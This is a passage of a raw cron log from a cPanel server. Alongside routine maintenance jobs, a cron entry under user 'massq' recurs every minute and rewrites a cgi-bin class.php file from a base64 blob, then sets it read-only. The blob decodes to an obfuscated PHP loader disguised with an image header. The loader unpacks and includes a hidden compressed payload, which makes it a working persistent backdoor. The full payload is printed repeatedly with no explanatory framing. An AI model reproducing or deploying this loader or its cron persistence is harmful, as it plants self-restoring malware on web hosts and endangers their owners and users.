QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:57:01 server CROND[21042]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 09:58:01 server CROND[21105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:59:01 server CROND[21168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:00:01 server CROND[21235]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 10:00:01 server CROND[21236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:00:01 server CROND[21238]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:00:01 server CROND[21239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:00:01 server CROND[21240]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 10:01:01 server CROND[21450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:01:01 server CROND[21451]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 10:01:01 server run-parts(/etc/cron.hourly)[21451]: starting 0anacron
Apr  9 10:01:01 server run-parts(/etc/cron.hourly)[21464]: finished 0anacron
Apr  9 10:02:01 server CROND[21547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:03:01 server CROND[21597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:04:02 server CROND[21652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:05:01 server CROND[21711]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:05:01 server CROND[21712]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 10:05:01 server CROND[21713]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:05:01 server CROND[21714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:06:01 server CROND[21938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:07:01 server CROND[22011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:08:01 server CROND[22060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:09:01 server CROND[22125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:09:01 server CROND[22126]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 10:10:01 server CROND[22203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:10:01 server CROND[22205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:10:01 server CROND[22204]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 10:10:01 server CROND[22207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
